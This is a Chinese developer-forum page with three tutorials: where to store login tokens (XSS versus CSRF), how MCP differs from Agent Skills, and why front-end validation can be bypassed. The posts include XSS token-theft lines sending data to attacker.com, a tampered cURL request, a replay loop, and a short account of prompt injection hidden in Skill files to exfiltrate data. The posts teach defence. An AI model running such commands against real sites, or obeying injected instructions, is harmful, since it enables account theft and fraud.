注册
环信即时通讯云

环信即时通讯云

单聊、群聊、聊天室...
环信开发文档

环信开发文档

Demo体验

Demo体验

场景Demo,开箱即用
RTE开发者社区

RTE开发者社区

汇聚音视频领域技术干货,分享行业资讯
技术讨论区

技术讨论区

技术交流、答疑
资源下载

资源下载

收集了海量宝藏开发资源
iOS Library

iOS Library

不需要辛辛苦苦的去找轮子, 这里都有
Android Library

Android Library

不需要辛辛苦苦的去找轮子, 这里都有

面试官最爱挖的坑:用户 Token 到底该存哪?

web
面试官问:"用户 token 应该存在哪?" 很多人脱口而出:localStorage。 这个回答不能说错,但远称不上好答案。 一个好答案,至少要说清三件事: 有哪些常见存储方式,它们的优缺点是什么 为什么大部分团队会从 localStorage 迁移到 H...
继续阅读 »

面试官问:"用户 token 应该存在哪?"


很多人脱口而出:localStorage。


这个回答不能说错,但远称不上好答案


一个好答案,至少要说清三件事:



  • 有哪些常见存储方式,它们的优缺点是什么

  • 为什么大部分团队会从 localStorage 迁移到 HttpOnly Cookie

  • 实际项目里怎么落地、怎么权衡「安全 vs 成本」


这篇文章就从这三点展开,顺便帮你把这道高频面试题吃透。




三种存储方式,一张图看懂差异


前端存 token,主流就三种:


flowchart LR
subgraph 存储方式
A[localStorage]
B[普通 Cookie]
C[HttpOnly Cookie]
end

subgraph 安全特性
D[XSS 可读取]
E[CSRF 会发送]
end

A -->|是| D
A -->|否| E
B -->|是| D
B -->|是| E
C -->|否| D
C -->|是| E

style A fill:#f8d7da,stroke:#dc3545
style B fill:#f8d7da,stroke:#dc3545
style C fill:#d4edda,stroke:#28a745

存储方式XSS 能读到吗CSRF 会自动带吗推荐程度
localStorage不会不推荐存敏感数据
普通 Cookie不推荐
HttpOnly Cookie不能推荐



localStorage:用得最多,但也最容易出事


大部分项目一开始都是这样写的,把 token 往 localStorage 一扔就完事了:


// 登录成功后
localStorage.setItem('token', response.accessToken);

// 请求时取出来
const token = localStorage.getItem('token');
fetch('/api/user', {
headers: { Authorization: `Bearer ${token}` }
});

用起来确实方便,但有个致命问题:XSS 攻击可以直接读取


localStorage 对 JavaScript 完全开放。只要页面有一个 XSS 漏洞,攻击者就能一行代码偷走 token:


// 攻击者注入的脚本
fetch('https://attacker.com/steal?token=' + localStorage.getItem('token'))

你可能会想:"我的代码没有 XSS 漏洞。"


现实是:XSS 漏洞太容易出现了——一个 innerHTML 没处理好,一个第三方脚本被污染,一个 URL 参数直接渲染……项目一大、接口一多,总有疏漏的时候。




普通 Cookie:XSS 能读,CSRF 还会自动带


有人会往 Cookie 上靠拢:"那我存 Cookie 里,是不是就更安全了?"


如果只是「普通 Cookie」,实际上比 localStorage 还糟糕:


// 设置普通 Cookie
document.cookie = `token=${response.accessToken}; path=/`;

// 攻击者同样能读到
const token = document.cookie.split('token=')[1];
fetch('https://attacker.com/steal?token=' + token);

XSS 能读,CSRF 还会自动带上——两头不讨好




HttpOnly Cookie:让 XSS 偷不走 Token


真正值得推荐的,是 HttpOnly Cookie


它的核心优势只有一句话:JavaScript 读不到


// 后端设置(Node.js 示例)
res.cookie('access_token', token, {
httpOnly: true, // JS 访问不到
secure: true, // 只在 HTTPS 发送
sameSite: 'lax', // 防 CSRF
maxAge: 3600000 // 1 小时过期
});

设置了 httpOnly: true,前端 document.cookie 压根看不到这个 Cookie。XSS 攻击偷不走。


// 前端发请求,浏览器自动带上 Cookie
fetch('/api/user', {
credentials: 'include'
});

// 攻击者的 XSS 脚本
document.cookie // 看不到 httpOnly 的 Cookie,偷不走



HttpOnly Cookie 的代价:需要正面面对 CSRF


HttpOnly Cookie 解决了「XSS 偷 token」的问题,但引入了另一个必须正视的问题:CSRF


因为 Cookie 会自动发送,攻击者可以诱导用户访问恶意页面,悄悄发起伪造请求:


sequenceDiagram
participant 用户
participant 银行网站
participant 恶意网站

用户->>银行网站: 1. 登录,获得 HttpOnly Cookie
用户->>恶意网站: 2. 访问恶意网站
恶意网站->>用户: 3. 页面包含隐藏表单
用户->>银行网站: 4. 浏览器自动发送请求(带 Cookie)
银行网站->>银行网站: 5. Cookie 有效,执行转账
Note over 用户: 用户完全不知情

好消息是:CSRF 比 XSS 容易防得多


SameSite 属性


最简单的一步,就是在设置 Cookie 时加上 sameSite


res.cookie('access_token', token, {
httpOnly: true,
secure: true,
sameSite: 'lax' // 关键配置
});

sameSite 有三个值:



  • strict:跨站请求完全不带 Cookie。最安全,但从外链点进来需要重新登录

  • lax:GET 导航可以带,POST 不带。大部分场景够用,Chrome 默认值

  • none:都带,但必须配合 secure: true


lax 能防住绝大部分 CSRF 攻击。如果业务场景更敏感(比如金融),可以再加 CSRF Token。


CSRF Token(更严格)


如果希望更严谨,可以在 sameSite 基础上,再加一层 CSRF Token 验证:


// 后端生成 Token,放到页面或接口返回
const csrfToken = crypto.randomUUID();
res.cookie('csrf_token', csrfToken); // 这个不用 httpOnly,前端需要读

// 前端请求时带上
fetch('/api/transfer', {
method: 'POST',
headers: {
'X-CSRF-Token': document.cookie.match(/csrf_token=([^;]+)/)?.[1]
},
credentials: 'include'
});

// 后端验证
if (req.cookies.csrf_token !== req.headers['x-csrf-token']) {
return res.status(403).send('CSRF token mismatch');
}

攻击者能让浏览器自动带上 Cookie,但没法读取 Cookie 内容来构造请求头。




核心对比:为什么宁愿多做 CSRF,也要堵死 XSS


这是全篇最重要的一点,也是推荐 HttpOnly Cookie 的根本原因。


XSS 的攻击面太广



  • 用户输入渲染(评论、搜索、URL 参数)

  • 第三方脚本(广告、统计、CDN)

  • 富文本编辑器

  • Markdown 渲染

  • JSON 数据直接插入 HTML


代码量大了,总有地方会疏漏。一个 innerHTML 忘了转义,第三方库有漏洞,攻击者就能注入脚本。


CSRF 防护相对简单、手段统一



  • sameSite: lax 一行配置搞定大部分场景

  • 需要更严格就加 CSRF Token

  • 攻击面有限,主要是表单提交和链接跳转


两害相权取其轻——先把 XSS 能偷 token 这条路堵死,再去专心做好 CSRF 防护




真落地要改什么:从 localStorage 迁移到 HttpOnly Cookie


从 localStorage 迁移到 HttpOnly Cookie,需要前后端一起动手,但改造范围其实不大。


后端改动


登录接口,从「返回 JSON 里的 token」改成「Set-Cookie」:


// 改造前
app.post('/api/login', (req, res) => {
const token = generateToken(user);
res.json({ accessToken: token });
});

// 改造后
app.post('/api/login', (req, res) => {
const token = generateToken(user);
res.cookie('access_token', token, {
httpOnly: true,
secure: true,
sameSite: 'lax',
maxAge: 3600000
});
res.json({ success: true });
});

前端改动


前端请求时不再手动带 token,而是改成 credentials: 'include'


// 改造前
fetch('/api/user', {
headers: { Authorization: `Bearer ${localStorage.getItem('token')}` }
});

// 改造后
fetch('/api/user', {
credentials: 'include'
});

如果用 axios,可以全局配置:


axios.defaults.withCredentials = true;

登出处理


登出时,后端清除 Cookie:


app.post('/api/logout', (req, res) => {
res.clearCookie('access_token');
res.json({ success: true });
});



如果暂时做不到 HttpOnly Cookie,可以怎么降风险


有些项目历史包袱比较重,或者后端暂时不愿意改。短期内只能继续用 localStorage 的话,至少要做好这些补救措施:



  1. 严格防 XSS



    • textContent 代替 innerHTML

    • 用户输入必须转义

    • 配置 CSP 头

    • 富文本用 DOMPurify 过滤



  2. Token 过期时间要短



    • Access Token 15-30 分钟过期

    • 配合 Refresh Token 机制



  3. 敏感操作二次验证



    • 转账、改密码等操作,要求输入密码或短信验证



  4. 监控异常行为



    • 同一账号多地登录告警

    • Token 使用频率异常告警






面试怎么答


回到开头的问题,面试怎么答?


简洁版(30 秒):



推荐 HttpOnly Cookie。因为 XSS 比 CSRF 难防——代码里一个 innerHTML 没处理好就可能有 XSS,而 CSRF 只要加个 SameSite: Lax 就能防住大部分。用 HttpOnly Cookie,XSS 偷不走 token,只需要处理 CSRF 就行。



完整版(1-2 分钟):



Token 存储有三种常见方式:localStorage、普通 Cookie、HttpOnly Cookie。


localStorage 最大的问题是 XSS 能读取。JavaScript 对 localStorage 完全开放,攻击者注入一行脚本就能偷走 token。


普通 Cookie 更糟,XSS 能读,CSRF 还会自动发送。


推荐 HttpOnly Cookie,设置 httpOnly: true 后 JavaScript 读不到。虽然 Cookie 会自动发送导致 CSRF 风险,但 CSRF 比 XSS 容易防——加个 sameSite: lax 就能解决大部分场景。


所以权衡下来,HttpOnly Cookie 配合 SameSite 是更安全的方案。


当然,没有绝对安全的方案。即使用了 HttpOnly Cookie,XSS 攻击虽然偷不走 token,但还是可以利用当前会话发请求。最好的做法是纵深防御——HttpOnly Cookie + SameSite + CSP + 输入验证,多层防护叠加。



加分项(如果面试官追问):



  • 改造成本:需要前后端配合,登录接口改成 Set-Cookie 返回,前端请求加 credentials: include

  • 如果用 localStorage:Token 过期时间要短,敏感操作二次验证,严格防 XSS

  • 移动端场景:App 内置 WebView 用 HttpOnly Cookie 可能有兼容问题,需要具体评估




如果你觉得这篇文章有帮助,欢迎关注我的 GitHub,下面是我的一些开源项目:


Claude Code Skills(按需加载,意图自动识别,不浪费 token,介绍文章):



全栈项目(适合学习现代技术栈):



  • prompt-vault - Prompt 管理器,用的都是最新的技术栈,适合用来学习了解最新的前端全栈开发范式:Next.js 15 + React 19 + tRPC 11 + Supabase 全栈示例,clone 下来配个免费 Supabase 就能跑

  • chat_edit - 双模式 AI 应用(聊天+富文本编辑),Vue 3.5 + TypeScript + Vite 5 + Quill 2.0 + IndexedDB


作者:也无风雨也雾晴
来源:juejin.cn/post/7583898823920451626
收起阅读 »

别搞混了!MCP 和 Agent Skill 到底有什么区别?

MCP 与 Skill 深度对比:AI Agent 的两种扩展哲学 用 AI Agent 工具(Claude Code、Cursor、Windsurf 等)的时候,经常会遇到两个概念: MCP(Model Context Protocol) Skill(Ag...
继续阅读 »

MCP 与 Skill 深度对比:AI Agent 的两种扩展哲学


用 AI Agent 工具(Claude Code、Cursor、Windsurf 等)的时候,经常会遇到两个概念:



  • MCP(Model Context Protocol)

  • Skill(Agent Skill)


它们看起来都是"扩展 AI 能力"的方式,但具体有什么区别?为什么需要两套机制?什么时候该用哪个?


这篇文章会从设计哲学、技术架构、使用场景三个维度,把这两个概念彻底讲清楚。


一句话区分


先给个简单的定位:



MCP 解决"连接"问题:让 AI 能访问外部世界
Skill 解决"方法论"问题:教 AI 怎么做某类任务



用 Anthropic 官方的说法:



"MCP connects Claude to external services and data sources. Skills provide procedural knowledge—instructions for how to complete specific tasks or workflows."



打个比方:MCP 是 AI 的"手"(能触碰外部世界),Skill 是 AI 的"技能书"(知道怎么做某件事)。


你需要两者配合:MCP 让 AI 能连接数据库,Skill 教 AI 怎么分析查询结果。


MCP:AI 应用的 USB-C 接口


MCP 是什么


MCP(Model Context Protocol)是 Anthropic 在 2024 年 11 月发布的开源协议,用于标准化 AI 应用与外部系统的交互方式。


官方的比喻是"AI 应用的 USB-C 接口"——就像 USB-C 提供了一种通用的方式连接各种设备,MCP 提供了一种通用的方式连接各种工具和数据源。


关键点:MCP 不是 Claude 专属的。


它是一个开放协议,理论上任何 AI 应用都可以实现。截至 2025 年初,已经被多个平台采用:



  • Anthropic: Claude Desktop、Claude Code

  • OpenAI: ChatGPT、Agents SDK、Responses API

  • Google: Gemini SDK

  • Microsoft: Azure AI Services

  • 开发工具: Zed、Replit、Codeium、Sourcegraph


到 2025 年 2 月,已经有超过 1000 个开源 MCP 连接器。


MCP 的架构


MCP 基于 JSON-RPC 2.0 协议,采用客户端-主机-服务器(Client-Host-Server)架构:


┌─────────────────────────────────────────────────────────┐
│ Host │
│ (Claude Desktop / Cursor) │
│ │
│ ┌─────────────┐ ┌─────────────┐ ┌─────────────┐ │
│ │ Client │ │ Client │ │ Client │ │
│ │ (GitHub) │ │ (Postgres) │ │ (Sentry) │ │
│ └──────┬──────┘ └──────┬──────┘ └──────┬──────┘ │
└─────────┼────────────────┼────────────────┼─────────────┘
│ │ │
▼ ▼ ▼
┌───────────┐ ┌───────────┐ ┌───────────┐
│MCP Server │ │MCP Server │ │MCP Server │
│ (GitHub) │ │(Postgres) │ │ (Sentry) │
└───────────┘ └───────────┘ └───────────┘


  • Host:用户直接交互的应用(Claude Desktop、Cursor、Windsurf)

  • Client:Host 应用中管理与特定 Server 通信的组件

  • Server:连接外部系统的桥梁(数据库、API、本地文件等)


MCP 的三个核心原语


MCP 定义了三种 Server 可以暴露的原语:


1. Tools(工具)—— 模型控制

可执行的函数,AI 可以调用来执行操作。


{
"name": "query_database",
"description": "Execute SQL query on the database",
"parameters": {
"type": "object",
"properties": {
"sql": { "type": "string" }
}
}
}

AI 决定什么时候调用这些工具。比如用户问"这个月的收入是多少",AI 判断需要查数据库,就会调用 query_database 工具。


2. Resources(资源)—— 应用控制

数据源,为 AI 提供上下文信息。


{
"uri": "file:///Users/project/README.md",
"name": "Project README",
"mimeType": "text/markdown"
}

资源由应用控制何时加载。用户可以通过 @ 引用资源,类似于引用文件。


3. Prompts(提示)—— 用户控制

预定义的提示模板,帮助结构化与 AI 的交互。


{
"name": "code_review",
"description": "Review code for bugs and security issues",
"arguments": [
{ "name": "code", "required": true }
]
}

用户显式触发这些提示,类似于 Slash Command。


MCP 与 Function Calling 的关系


很多人会问:MCP 和 OpenAI 的 Function Calling、Anthropic 的 Tool Use 有什么区别?


Function Calling 是 LLM 的能力——把自然语言转换成结构化的函数调用请求。LLM 本身不执行函数,只是告诉你"应该调用什么函数,参数是什么"。


MCP 是在 Function Calling 之上的协议层——它标准化了"函数在哪里、怎么调用、怎么发现"。


两者的关系:


用户输入 → LLM (Function Calling) → "需要调用 query_database"

MCP Protocol

MCP Server 执行

返回结果给 LLM

Function Calling 解决"决定做什么",MCP 解决"怎么做到"。


MCP 的传输方式


MCP 支持两种主要的传输方式:


传输方式适用场景说明
Stdio本地进程Server 在本地机器运行,适合需要系统级访问的工具
HTTP/SSE远程服务Server 在远程运行,适合云服务(GitHub、Sentry、Notion)

大部分云服务用 HTTP,本地脚本和自定义工具用 Stdio。


MCP 的代价


MCP 不是免费的午餐,它有明显的成本:


1. Token 消耗大


每个 MCP Server 都会占用上下文空间。每次对话开始,MCP Client 需要告诉 LLM "你有这些工具可用",这些工具定义会消耗大量 Token。


连接多个 MCP Server 后,光是工具定义可能就占用了上下文窗口的很大一部分。社区观察到:



"We're seeing a lot of MCP developers even at enterprise build MCP servers that expose way too much, consuming the entire context window and leading to hallucination."



2. 需要维护连接


MCP Server 是持久连接的外部进程。Server 挂了、网络断了、认证过期了,都会影响 AI 的能力。


3. 安全风险


Anthropic 官方警告:



"Use third party MCP servers at your own risk - Anthropic has not verified the correctness or security of all these servers."



特别是能获取外部内容的 MCP Server(比如网页抓取),可能带来 prompt injection 风险。


MCP 的价值


尽管有这些代价,MCP 的价值在于标准化和可复用性



  • 一次实现,到处使用:同一个 GitHub MCP Server 可以在 Claude Desktop、Cursor、Windsurf 中使用

  • 动态发现:AI 可以在运行时发现有哪些工具可用,而不是写死在代码里

  • 供应商无关:不依赖特定的 LLM 提供商


Skill:上下文工程的渐进式公开


Skill 是什么


Skill(全称 Agent Skill)是 Anthropic 在 2025 年 10 月发布的特性。官方定义:



"Skills are organized folders of instructions, scripts, and resources that agents can discover and load dynamically to perform better at specific tasks."



翻译一下:Skill 是一个文件夹,里面放着指令、脚本和资源,AI 会根据需要自动发现和加载。


Skill 在架构层级上和 MCP 不同。


用 Anthropic 的话说:



"Skills are at the prompt/knowledge layer, whereas MCP is at the integration layer."



Skill 是"提示/知识层",MCP 是"集成层"。两者解决不同层面的问题。


Skill 的核心设计:渐进式信息公开


Skill 最精妙的设计是渐进式信息公开(Progressive Disclosure)。这是 Anthropic 在上下文工程(Context Engineering)领域的重要实践。


官方的比喻:



"Like a well-organized manual that starts with a table of contents, then specific chapters, and finally a detailed appendix."



就像一本组织良好的手册:先看目录,再翻到相关章节,最后查阅附录。


Skill 分三层加载:


flowchart TD
subgraph L1["第 1 层:元数据(始终加载)"]
A[Skill 名称 + 描述]
B["约 100 tokens"]
end

subgraph L2["第 2 层:核心指令(按需加载)"]
C[SKILL.md 完整内容]
D["通常 < 5k tokens"]
end

subgraph L3["第 3+ 层:支持文件(深度按需)"]
E[reference.md]
F[scripts/helper.py]
G[templates/...]
end

L1 --> |"Claude 判断相关"| L2
L2 --> |"需要更多信息"| L3

style L1 fill:#d4edda,stroke:#28a745
style L2 fill:#fff3cd,stroke:#ffc107
style L3 fill:#cce5ff,stroke:#0d6efd

这个设计的好处是什么?


传统方式(比如 MCP)在会话开始时就把所有信息加载到上下文。如果你有 10 个 MCP Server,每个暴露 5 个工具,那就是 50 个工具定义——可能消耗数千甚至上万 Token。


Skill 的渐进式加载让你可以有几十个 Skill,但同时只加载一两个。上下文效率大幅提升。


用官方的话说:



"This means that the amount of context that can be bundled int0 a skill is effectively unbounded."



理论上,单个 Skill 可以包含无限量的知识——因为只有需要的部分才会被加载。


上下文工程:Skill 背后的思想


Skill 是 Anthropic "上下文工程"(Context Engineering)理念的产物。官方对此有专门的阐述:



"At Anthropic, we view context engineering as the natural progression of prompt engineering. Prompt engineering refers to methods for writing and organizing LLM instructions for optimal outcomes. Context engineering refers to the set of strategies for curating and maintaining the optimal set of tokens (information) during LLM inference."



简单说:



  • Prompt Engineering:怎么写好提示词

  • Context Engineering:怎么管理上下文窗口里的信息


LLM 的上下文窗口是有限的(即使是 200k 窗口,也会被大量信息撑爆)。Context Engineering 的核心问题是:在有限的窗口里,放什么信息能让 AI 表现最好?


Skill 的渐进式加载就是 Context Engineering 的具体实践——只加载当前任务需要的信息,让每一个 Token 都发挥最大价值。


Skill 的触发机制


Skill 是自动触发的,这是它和 Slash Command 的关键区别。


工作流程:



  1. 扫描阶段:Claude 读取所有 Skill 的元数据(名称 + 描述)

  2. 匹配阶段:将用户请求与 Skill 描述进行语义匹配

  3. 加载阶段:如果匹配成功,加载完整的 SKILL.md

  4. 执行阶段:按照 Skill 里的指令执行任务,按需加载支持文件


用户不需要显式调用。比如你有一个 code-review Skill,用户说"帮我 review 这段代码",Claude 会自动匹配并加载。


Skill 的本质是什么?


技术上,Skill 是一个元工具(Meta-tool):



"The Skill tool is a meta-tool that manages all skills. Traditional tools like Read, Bash, or Write execute discrete actions and return immediate results. Skills operate differently—rather than performing actions directly, they inject specialized instructions int0 the conversation history and dynamically modify Claude's execution environment."



Skill 不是执行具体动作,而是注入指令到对话历史中,动态修改 Claude 的执行环境。


Skill 的文件结构


一个标准的 Skill 长这样:


my-skill/
├── SKILL.md # 必需:元数据 + 主要指令
├── reference.md # 可选:详细参考文档
├── examples.md # 可选:使用示例
├── scripts/
│ └── helper.py # 可选:可执行脚本
└── templates/
└── template.txt # 可选:模板文件

SKILL.md 是核心,必须包含 YAML 格式的元数据:


---
name: code-review
description: >
Review code for bugs, security issues, and style violations.
Use when asked to review code, check for bugs, or audit PRs.
---

# Code Review Skill

## Instructions

When reviewing code, follow these steps:

1. First check for security vulnerabilities...
2. Then check for performance issues...
3. Finally check for code style...

关键字段:



  • name:Skill 的唯一标识,小写字母 + 数字 + 连字符,最多 64 字符

  • description:描述做什么、什么时候用,最多 1024 字符


description 的质量直接决定 Skill 能不能被正确触发。


Skill 的安全考虑


Skill 有一个潜在的安全问题:Prompt Injection


研究人员发现:



"Although Agent Skills can be a very useful tool, they are fundamentally insecure since they enable trivially simple prompt injections. Researchers demonstrated how to hide malicious instructions in long Agent Skill files and referenced scripts to exfiltrate sensitive data."



因为 Skill 本质上是注入指令,恶意的 Skill 可以在长文件中隐藏恶意指令,窃取敏感数据。


应对措施:



  1. 只使用可信来源的 Skill

  2. 审查 Skill 中的脚本

  3. 使用 allowed-tools 限制 Skill 的能力范围


---
name: safe-file-reader
description: Read and analyze files without making changes
allowed-tools: Read, Grep, Glob # 只允许读操作
---

Skill 的平台支持


Agent Skills 目前支持:



  • Claude.ai(Pro、Max、Team、Enterprise)

  • Claude Code

  • Claude Agent SDK

  • Claude Developer Platform


需要注意的是,Skill 目前是 Anthropic 生态专属的,不像 MCP 是跨平台的开放协议。


MCP vs Skill:架构层级对比


现在我们可以从架构层级来理解两者的区别:


┌─────────────────────────────────────────────────────────┐
│ 用户请求 │
└────────────────────────┬────────────────────────────────┘

┌─────────────────────────────────────────────────────────┐
│ 提示/知识层 (Skill) │
│ │
│ Skill 注入专业知识和工作流程 │
"怎么做某类任务"
└────────────────────────┬────────────────────────────────┘

┌─────────────────────────────────────────────────────────┐
│ LLM 推理层 │
│ │
│ Claude / GPT / Gemini 等 │
│ 理解请求,决定需要什么工具 │
└────────────────────────┬────────────────────────────────┘

┌─────────────────────────────────────────────────────────┐
│ 集成层 (MCP) │
│ │
│ MCP 连接外部系统 │
"能访问什么工具和数据"
└────────────────────────┬────────────────────────────────┘

┌─────────────────────────────────────────────────────────┐
│ 外部世界 │
│ │
│ 数据库、API、文件系统、第三方服务 │
└─────────────────────────────────────────────────────────┘

Skill 在上层(知识层),MCP 在下层(集成层)。


两者不是替代关系,而是互补关系。你可以:



  • 用 MCP 连接 GitHub

  • 用 Skill 教 AI 如何按照团队规范做 Code Review


详细对比表


维度MCPSkill
核心作用连接外部系统编码专业知识和方法论
架构层级集成层提示/知识层
协议基础JSON-RPC 2.0文件系统 + Markdown
跨平台是(开放协议,多平台支持)否(目前 Anthropic 生态专属)
触发方式持久连接,随时可用基于描述的语义匹配,自动触发
Token 消耗高(工具定义持久占用上下文)低(渐进式加载)
外部访问可以直接访问外部系统不能直接访问,需要配合 MCP 或内置工具
复杂度高(需要理解协议、运行 Server)低(写 Markdown 就行)
可复用性高(标准化协议,跨应用复用)中(文件夹,可以 Git 共享)
动态发现是(运行时发现可用工具)是(运行时发现可用 Skill)
安全考虑外部内容带来 prompt injection 风险Skill 文件本身可能包含恶意指令

什么时候用 MCP,什么时候用 Skill


用 MCP 的场景



  • 需要访问外部数据:数据库查询、API 调用、文件系统访问

  • 需要操作外部系统:创建 GitHub Issue、发送 Slack 消息、执行 SQL

  • 需要实时信息:监控系统状态、查看日志、搜索引擎结果

  • 需要跨平台复用:同一个工具在 Claude Desktop、Cursor、其他支持 MCP 的应用中使用


用 Skill 的场景



  • 重复性的工作流程:代码审查、文档生成、数据分析

  • 公司内部规范:代码风格、提交规范、文档格式

  • 需要多步骤的复杂任务:需要详细指导的专业任务

  • 团队共享的最佳实践:标准化的操作流程

  • Token 敏感场景:需要大量知识但不想一直占用上下文


结合使用


很多时候,两者是配合使用的:


用户:"Review PR #456 并按照团队规范给出建议"

1. MCP (GitHub) 获取 PR 信息

2. Skill (团队代码审查规范) 提供审查方法论

3. Claude 按照 Skill 的指令分析代码

4. MCP (GitHub) 提交评论

MCP 负责"能访问什么",Skill 负责"怎么做"。


写好 Skill 的关键


Skill 能不能被正确触发,90% 取决于 description 写得好不好。


差的 description


description: Helps with data

太宽泛,Claude 不知道什么时候该用。


好的 description


description: >
Analyze Excel spreadsheets, generate pivot tables, and create charts.
Use when working with Excel files (.xlsx), spreadsheets, or tabular data analysis.
Triggers on: "analyze spreadsheet", "create pivot table", "Excel chart"

好的 description 应该包含:



  1. 做什么:具体的能力描述

  2. 什么时候用:明确的触发场景

  3. 触发词:用户可能说的关键词


最佳实践


官方建议:



  1. 保持专注:一个 Skill 做一件事,避免宽泛的跨域 Skill

  2. SKILL.md 控制在 500 行以内:太长的话拆分到支持文件

  3. 测试触发行为:确认相关请求能触发,不相关请求不会误触发

  4. 版本控制:记录 Skill 的变更历史


关于 Slash Command


文章标题是 MCP vs Skill,但很多人也会问到 Slash Command,简单说一下。


Slash Command 是最简单的扩展方式——本质上是存储的提示词,用户输入 /命令名 时注入到对话中。


Skill vs Slash Command 的关键区别是触发方式:


Slash CommandSkill
触发方式用户显式输入 /命令Claude 自动匹配
用户控制完全控制何时触发无法控制,Claude 决定

问自己一个问题:用户是否需要显式控制触发时机?



  • 需要 → Slash Command

  • 不需要,希望 AI 自动判断 → Skill


总结


MCP 和 Skill 是 AI Agent 扩展的两种不同哲学:


MCPSkill
哲学连接主义知识打包
问的问题"AI 能访问什么?""AI 知道怎么做什么?"
层级集成层知识层
Token 策略预加载所有能力按需加载知识

记住这句话:



MCP connects AI to data; Skills teach AI what to do with that data.



MCP 让 AI 能"碰到"数据,Skill 教 AI 怎么"处理"数据。


它们不是替代关系,而是互补关系。一个成熟的 AI Agent 系统,两者都需要。


参考资源


MCP 官方资源



Skill 官方资源



跨平台采用



延伸阅读





如果你觉得这篇文章有帮助,欢迎关注我的 GitHub,下面是我的一些开源项目:


Claude Code Skills(按需加载,意图自动识别,不浪费 token,介绍文章):



全栈项目(适合学习现代技术栈):



  • prompt-vault - Prompt 管理器,用的都是最新的技术栈,适合用来学习了解最新的前端全栈开发范式:Next.js 15 + React 19 + tRPC 11 + Supabase 全栈示例,clone 下来配个免费 Supabase 就能跑

  • chat_edit - 双模式 AI 应用(聊天+富文本编辑),Vue 3.5 + TypeScript + Vite 5 + Quill 2.0 + IndexedDB


作者:也无风雨也雾晴
来源:juejin.cn/post/7584057497205817387
收起阅读 »

为什么永远不要相信前端输入?绕过前端验证,只需一个 cURL 命令!

web
大家好😁。 上个月 Code Review,我拦下了一个新人的代码。 他写了一个转账功能,前端做了极其严密的校验: 金额必须是数字。 金额必须大于 0。 余额不足时,提交按钮是 disabled 的。 甚至还写了复杂的正则表达式,防止输入负号。 他自信满满...
继续阅读 »

image.png


大家好😁。


上个月 Code Review,我拦下了一个新人的代码。


他写了一个转账功能,前端做了极其严密的校验:



  • 金额必须是数字。

  • 金额必须大于 0。

  • 余额不足时,提交按钮是 disabled 的。

  • 甚至还写了复杂的正则表达式,防止输入负号。


他自信满满地跟我说:老大,放心吧,我前端卡得死死的,用户绝对传不了非法数据。


我笑了笑🤣,没看他的后端代码,直接打开终端,敲了一行命令。


0.5 秒后,他的数据库里多了一笔“-10000”的转账记录,余额瞬间暴涨!


他看着屏幕,目瞪口呆:这……你是怎么做到的?我按钮明明置灰了啊!


今天,我就来揭秘这个所有后端(和全栈)工程师必须铭记的第一铁律:


前端验证,在黑客眼里,只是个小case🤔。




我是如何羞辱前端验证的


假设我们有一个购物网站,前端有一个简单的购买表单。


前端逻辑(看似完美):


// Front-end code
function submitOrder(price, quantity) {
// 1. 校验价格不能被篡改
if (price !== 999) {
alert("价格异常!");
return;
}
// 2. 校验数量必须为正数
if (quantity <= 0) {
alert("数量必须大于0!");
return;
}

// 发送请求
api.post('/buy', { price, quantity });
}

你看,用户在浏览器里确实没法作恶。他改不了价格,也填不了负数。


但是黑客,从来不用浏览器点你的按钮。


第一步:打开DevTools Network 面板,正常点一次购买按钮。捕获到了这个请求。


第二步:请求上右键 -> 复制 -> cURL 格式复制。


image.png


这一步,我已经拿到了你发送请求的所有密钥:URL、Headers、Cookies、以及那个看似合法的 Data。


第三步:打开终端(Terminal),粘贴刚才复制的命令。但是,我并没有直接回车。


我修改了 --data-raw 里的参数:



  • "price": 999 改成了 "price": 0.01

  • 或者把 "quantity": 1 改成了 "quantity": -100


# 经过魔改后的命令
curl 'http://localhost:3000/user/buy' \
-H 'Cookie: session_id=...' \
-H 'Content-Type: application/json' \
--data-raw '{"price": 0.01, "quantity": 10}' \
--compressed

回车!


服务器返回:{ "status": "success", "msg": ok!" }


恭喜你,你的前端验证毫发无损,但你的数据库已经被我击穿了。 我用 1 分钱买了 10 个商品,或者通过负数数量,反向刷了库存。




为什么前端验证, 防不了小人🤔


很多新人最大的误区,就是认为用户只能通过我的 UI 来访问我的服务器。


错!大错特错!


Web 的本质是 HTTP 协议。


HTTP 协议是无状态的、公开的。任何能够发送 HTTP 请求的客户端,都是你的用户。



  • Chrome 是客户端。

  • cURL 是客户端。

  • Postman 是客户端。

  • Python 的 requests 脚本也是客户端。

  • node 的 http 脚本也是客户端


前端代码运行在用户的电脑上。


这意味着,用户拥有对前端代码的绝对控制权



  • 他可以禁用 JS。

  • 他可以在 Console 里重写你的校验函数。

  • 他可以拦截请求(用 Charles/Fiddler)并修改数据。

  • 他甚至可以完全抛弃浏览器,直接用脚本轰炸你的 API。


所以,前端验证的唯一作用,是提升用户体验 (比如提示用户格式不对😂),而不是提供安全性😖。




后端该如何防御?(不要裸奔)


既然前端不可信,后端(或 BFF 层)就必须假设所有发过来的数据都是有毒的


1. 永远不要相信 Payload 里的关键数据


前端只传 productId。后端拿到 ID 后,去数据库里查这个商品到底多少钱。永远以数据库为准。


2. 使用 Schema 校验库(Zod / Joi / class-validator)


不要在 Controller 里写一堆 if (req.body.age < 0)。


使用专业的 Schema 校验库,定义好数据的规则。


TypeScript代码👇:


// 使用 Zod 定义后端校验规则
const OrderSchema = z.object({
productId: z.string(),
// 强制要求 quantity 必须是正整数,拦截 -100 这种攻击
quantity: z.number().int().positive(),
// 注意:这里根本不接收 price 字段,防止被注入
});

// 如果校验失败,直接抛出 400 错误,逻辑根本进不去
const data = OrderSchema.parse(req.body);

3. 权限与状态校验


不要只看数据格式对不对,还要看人对不对。



  • 这个用户有权限买这个商品吗?

  • 这个订单现在的状态允许支付吗?(防止重复支付攻击🤔)




还有一种更高级的攻击:Replay Attack(重放攻击)


你以为校验了数据就安全了?


如果我拦截了你一次领优惠券的请求,虽然我改不了数据,但我可以用 cURL 连续运行 1000 次这个命令。


# 一个简单的循环,瞬间刷爆你的接口
for i in {1..1000}; do curl ... ; done

如果你的后端没有做幂等性(Idempotency)校验或频率限制(Rate Limiting) ,那我瞬间就能领走 1000 张优惠券。


防御手段👇:



  • Redis 计数器:限制每个 IP/用户 每秒只能请求几次。

  • 唯一 Request ID:对于关键操作,要求前端生成一个 UUID,后端处理完后记录下来。如果同一个 UUID 再次请求,直接拒绝。




对于前端安全,所有的输入都是可疑的🤔


作为全栈或后端开发者,当你写 API 时,请忘掉你那个漂亮的前端界面。


你的脑海里应该只有一幅画面:


image.png


屏幕对面,不是一个点鼠标的用户,而是一个正在敲 cURL 命令的黑客。


